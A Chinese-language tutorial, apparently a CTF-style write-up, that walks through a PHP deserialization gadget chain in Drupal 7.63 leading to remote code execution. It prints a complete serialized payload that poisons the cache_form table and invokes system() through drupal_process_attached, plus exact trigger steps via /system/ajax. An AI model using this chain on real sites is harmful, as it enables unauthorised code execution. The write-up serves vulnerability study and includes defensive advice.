复杂的 Drupal POP 利用链: 实现和Drupalgeddon 2相同效果
字数 1507 2025-08-29 08:31:48

Drupal POP 利用链分析与利用教学文档

前言

本教学文档详细分析了一个基于 Drupal 7.63 的对象注入(POP)利用链,该利用链通过反序列化漏洞实现了与 Drupalgeddon 2 相同的远程代码执行效果。文档将逐步解析漏洞原理、利用链构造和实际利用方法。

漏洞背景

  • 目标环境: Drupal 7.63
  • 漏洞类型: PHP 反序列化漏洞(PHP 对象注入)
  • 利用前提: 存在可控的反序列化入口点(如题目中通过 Cookie 注入序列化字符串)

核心利用链分析

第一阶段: 注入缓存数据

利用链始于 DrupalCacheArray 类的 __destruct() 方法,该方法会在对象销毁时自动调用:

public function __destruct() {
    $data = array();
    foreach ($this->keysToPersist as $offset => $persist) {
        if ($persist) {
            $data[$offset] = $this->storage[$offset];
        }
    }
    if (!empty($data)) {
        $this->set($data);
    }
}

关键点:

  1. 遍历 $this->keysToPersist 数组,将需要持久化的数据存入 $data
  2. 调用 set() 方法将数据写入缓存

set() 方法最终调用 cache_set() 函数:

protected function set($data, $lock = TRUE) {
    $lock_name = $this->cid . ':' . $this->bin;
    if (!$lock || lock_acquire($lock_name)) {
        if ($cached = cache_get($this->cid, $this->bin)) {
            $data = $cached->data + $data;
        }
        cache_set($this->cid, $data, $this->bin);
        if ($lock) {
            lock_release($lock_name);
        }
    }
}

攻击者可控制的三个关键属性:

  • $this->cid: 缓存标识符
  • $this->bin: 缓存表名
  • $this->storage: 要写入的数据

缓存表结构分析

Drupal 使用多个表存储不同类型的缓存:

cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path

cache_form 表结构:

Field Type Description
cid varchar(255) 缓存标识符
data longblob 存储的缓存数据
expire int(11) 过期时间
created int(11) 创建时间
serialized smallint(6) 是否序列化的标志

验证缓存注入

构造测试类验证缓存注入可行性:

class SchemaCache {
    protected $cid = "some_cache_key";
    protected $bin = "cache_form";
    protected $keysToPersist = array('input_data' => true);
    protected $storage = array('input_data' => array("arbitrary data!"));
}

$schema = new SchemaCache();
echo serialize($schema);

成功注入后,cache_form 表中将包含可控数据。

第二阶段: 从缓存到RCE

Ajax回调触发点

通过访问 /system/ajax 触发 ajax_form_callback() 函数:

function ajax_form_callback() {
    list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
    drupal_process_form($form['#form_id'], $form, $form_state);
}

ajax_get_form()cache_form 表中获取数据:

if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
    $form = $cached->data;
    return $form;
}

利用 drupal_process_form

drupal_process_form() 中的关键代码:

if (isset($element['#process']) && !$element['#processed']) {
    foreach ($element['#process'] as $process) {
        $element = $process($element, $form_state, $form_state['complete form']);
    }
}

通过控制 $element['#process'] 可以触发回调函数。

最终RCE实现

利用 drupal_process_attached() 实现代码执行:

function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
    foreach ($elements['#attached'] as $callback => $options) {
        if (function_exists($callback)) {
            foreach ($elements['#attached'][$callback] as $args) {
                call_user_func_array($callback, $args);
            }
        }
    }
}

完整利用链构造

构造最终的POP链:

class SchemaCache {
    protected $cid = "form_1337";
    protected $bin = "cache_form";
    protected $keysToPersist = array(
        '#form_id' => true,
        '#process' => true,
        '#attached' => true
    );
    protected $storage = array(
        '#form_id' => 1337,
        '#process' => array('drupal_process_attached'),
        '#attached' => array(
            'system' => array(array('sleep 20'))
        )
    );
}

$schema = new SchemaCache();
echo serialize($schema);

利用步骤

  1. 注入恶意序列化数据:通过反序列化入口(如Cookie)注入构造的序列化对象
  2. 触发缓存写入:对象销毁时自动将数据写入 cache_form
  3. 触发RCE:访问 /system/ajax 并设置 form_build_id=1337 触发命令执行

防御建议

  1. 升级到最新Drupal版本
  2. 避免不可信的反序列化操作
  3. 对缓存数据进行严格验证
  4. 限制危险函数的使用

总结

该利用链展示了如何通过精心构造的POP链,从反序列化漏洞逐步实现远程代码执行。理解此类漏洞需要对Drupal内部机制和PHP反序列化特性有深入认识。防御此类攻击需要从多个层面进行防护,包括输入验证、输出编码和最小权限原则等。

Drupal POP 利用链分析与利用教学文档 前言 本教学文档详细分析了一个基于 Drupal 7.63 的对象注入(POP)利用链,该利用链通过反序列化漏洞实现了与 Drupalgeddon 2 相同的远程代码执行效果。文档将逐步解析漏洞原理、利用链构造和实际利用方法。 漏洞背景 目标环境 : Drupal 7.63 漏洞类型 : PHP 反序列化漏洞(PHP 对象注入) 利用前提 : 存在可控的反序列化入口点(如题目中通过 Cookie 注入序列化字符串) 核心利用链分析 第一阶段: 注入缓存数据 利用链始于 DrupalCacheArray 类的 __destruct() 方法,该方法会在对象销毁时自动调用: 关键点: 遍历 $this->keysToPersist 数组,将需要持久化的数据存入 $data 调用 set() 方法将数据写入缓存 set() 方法最终调用 cache_set() 函数: 攻击者可控制的三个关键属性: $this->cid : 缓存标识符 $this->bin : 缓存表名 $this->storage : 要写入的数据 缓存表结构分析 Drupal 使用多个表存储不同类型的缓存: cache_form 表结构: | Field | Type | Description | |------------|--------------|-------------------| | cid | varchar(255) | 缓存标识符 | | data | longblob | 存储的缓存数据 | | expire | int(11) | 过期时间 | | created | int(11) | 创建时间 | | serialized | smallint(6) | 是否序列化的标志 | 验证缓存注入 构造测试类验证缓存注入可行性: 成功注入后, cache_form 表中将包含可控数据。 第二阶段: 从缓存到RCE Ajax回调触发点 通过访问 /system/ajax 触发 ajax_form_callback() 函数: ajax_get_form() 从 cache_form 表中获取数据: 利用 drupal_process_form drupal_process_form() 中的关键代码: 通过控制 $element['#process'] 可以触发回调函数。 最终RCE实现 利用 drupal_process_attached() 实现代码执行: 完整利用链构造 构造最终的POP链: 利用步骤 注入恶意序列化数据 :通过反序列化入口(如Cookie)注入构造的序列化对象 触发缓存写入 :对象销毁时自动将数据写入 cache_form 表 触发RCE :访问 /system/ajax 并设置 form_build_id=1337 触发命令执行 防御建议 升级到最新Drupal版本 避免不可信的反序列化操作 对缓存数据进行严格验证 限制危险函数的使用 总结 该利用链展示了如何通过精心构造的POP链,从反序列化漏洞逐步实现远程代码执行。理解此类漏洞需要对Drupal内部机制和PHP反序列化特性有深入认识。防御此类攻击需要从多个层面进行防护,包括输入验证、输出编码和最小权限原则等。